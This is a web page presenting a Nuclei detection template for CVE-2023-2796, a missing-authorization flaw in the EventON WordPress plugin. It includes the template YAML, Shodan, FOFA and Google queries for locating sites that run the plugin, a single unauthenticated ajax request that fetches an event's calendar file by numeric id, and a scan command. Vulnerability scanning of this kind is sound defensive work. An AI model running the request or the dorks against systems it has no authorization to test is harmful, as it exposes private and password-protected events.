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EventON <= 2.1 - Missing Authorization

ID: CVE-2023-2796

Severity: medium

Author: randomrobbie

Tags: cve2023,cve,wpscan,packetstorm,wordpress,wp-plugin,wp,eventon,bypass,myeventon

Description

Section titled “Description”

The EventON WordPress plugin before 2.1.2 lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.

YAML Source

Section titled “YAML Source”
id: CVE-2023-2796


info:
  name: EventON <= 2.1 - Missing Authorization
  author: randomrobbie
  severity: medium
  description: |
    The EventON WordPress plugin before 2.1.2 lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.
  impact: |
    Unauthenticated users can perform privileged actions, potentially leading to unauthorized access or modification of events.
  remediation: Fixed in version 2.1.2
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/dba3f3a6-3f55-4f4e-98e4-bb98d9c94bdd
    - https://wpscan.com/vulnerability/e9ef793c-e5a3-4c55-beee-56b0909f7a0d
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2796
    - http://packetstormsecurity.com/files/173984/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
    - https://github.com/nullfuzz-pentest/shodan-dorks
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-2796
    cwe-id: CWE-862
    epss-score: 0.03205
    epss-percentile: 0.91193
    cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: myeventon
    product: eventon
    framework: wordpress
    shodan-query:
      - 'vuln:CVE-2023-2796'
      - http.html:/wp-content/plugins/eventon-lite/
      - http.html:/wp-content/plugins/eventon/
    fofa-query:
      - "wp-content/plugins/eventon/"
      - body=/wp-content/plugins/eventon/
      - body=/wp-content/plugins/eventon-lite/
    publicwww-query:
      - /wp-content/plugins/eventon/
      - /wp-content/plugins/eventon-lite/
    google-query: inurl:"/wp-content/plugins/eventon/"
  tags: cve2023,cve,wpscan,packetstorm,wordpress,wp-plugin,wp,eventon,bypass,myeventon


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "BEGIN:VCALENDAR"
          - "END:VCALENDAR"
        condition: and


      - type: word
        part: header
        words:
          - "text/Calendar"


      - type: status
        status:
          - 200
# digest: 4b0a004830460221009c86357d0749eb1088e161f6a1514e7329a82af093d6759baeca5f289c9f7fa602210098b65d95267906b8c3818db2b1004db6e3f715d93117b02585a22a9d47490782:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-2796.yaml"

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